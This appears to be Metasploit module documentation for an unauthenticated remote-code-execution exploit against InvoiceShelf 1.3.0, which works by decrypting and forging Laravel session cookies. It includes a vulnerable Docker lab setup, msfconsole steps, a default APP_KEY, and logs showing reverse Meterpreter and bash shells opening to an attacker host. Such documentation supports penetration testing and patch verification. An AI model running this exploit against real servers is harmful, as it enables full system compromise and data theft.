## Vulnerable Application
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
invoices & estimates and is based on the PHP framework Laravel.
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
Laravel's encrypt() function.
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.

The following release was tested.
* InvoiceShelf `1.3.0` on Docker

## Installation steps to install InvoiceShelf on Docker
* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install.
* Please ensure that `SESSION_DRIVER=cookie` is set to cookie.
* cp `.env.example` to `.env` and note down the `APP_KEY` setting.
* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker.
```
 #-------------------------------------------
 # InvoiceShelf MySQL docker-compose variant
 # Repo : https://github.com/InvoiceShelf/docker
 #-------------------------------------------

services:
  invoiceshelf_db:
    container_name: invoiceshelf_db
    image: mariadb:10
    environment:
      - MYSQL_DATABASE=invoiceshelf
      - MYSQL_USER=invoiceshelf
      - MYSQL_PASSWORD=Passw0rd
      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
    expose:
      - 3306
    volumes:
      - mysql:/var/lib/mysql
    networks:
      - invoiceshelf
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
      timeout: 20s
      retries: 10

  invoiceshelf:
    image: invoiceshelf/invoiceshelf:1.3.0
    container_name: invoiceshelf
    ports:
      - 90:80
    volumes:
      - ./invoiceshelf_mysql/data:/data
      - ./invoiceshelf_mysql/conf:/conf
    networks:
      - invoiceshelf
    environment:
      # PHP timezone e.g. PHP_TZ=America/New_York
      - PHP_TZ=UTC
      - TIMEZONE=UTC
      - APP_NAME=Laravel
      - APP_ENV=local
      - APP_DEBUG=true
      - APP_URL=http://localhost:90
      - DB_CONNECTION=mysql
      - DB_HOST=invoiceshelf_db
      - DB_PORT=3306
      - DB_DATABASE=invoiceshelf
      - DB_USERNAME=invoiceshelf
      - DB_PASSWORD=Passw0rd
      - DB_PASSWORD_FILE=
      - CACHE_STORE=file
      - SESSION_DRIVER=cookie
      - SESSION_LIFETIME=1440
      - SESSION_ENCRYPT=false
      - SESSION_PATH=/
      - SESSION_DOMAIN=localhost
      - SANCTUM_STATEFUL_DOMAINS=localhost:90
      - STARTUP_DELAY=
      #- MAIL_DRIVER=smtp
      #- MAIL_HOST=smtp.mailtrap.io
      #- MAIL_PORT=2525
      #- MAIL_USERNAME=null
      #- MAIL_PASSWORD=null
      #- MAIL_PASSWORD_FILE=<filename>
      #- MAIL_ENCRYPTION=null
    restart: unless-stopped
    depends_on:
      - invoiceshelf_db

networks:
  invoiceshelf:

volumes:
  mysql:
```
* Execute `docker-compose up -d`
* You can access the InvoiceShelf application at http://localhost:90

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings

## Options
### APP_KEY
This option is required if the BRUTE_FORCE option is not used.
It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`.

### BRUTEFORCE
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.

## Scenarios
### InvoiceShelf 1.3.0 on Docker -  PHP Command target
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
```msf
msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21
rhosts => 192.168.201.21
msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.21:90 can be exploited.
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
[*] Grabbing the cookies.
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360}
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.201.21
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000

meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www/html/InvoiceShelf/public
meterpreter > sysinfo
Computer    : 72fe563832ca
OS          : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64
Meterpreter : php/linux
meterpreter >
```
###  InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
```msf
msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1
target => 1
msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt
msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.21:90 can be exploited.
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
[*] Grabbing the cookies.
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt.
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687}
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000

id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf)
uname -a
Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux
pwd
/var/www/html/InvoiceShelf/public
```

## Limitations
No limitations.
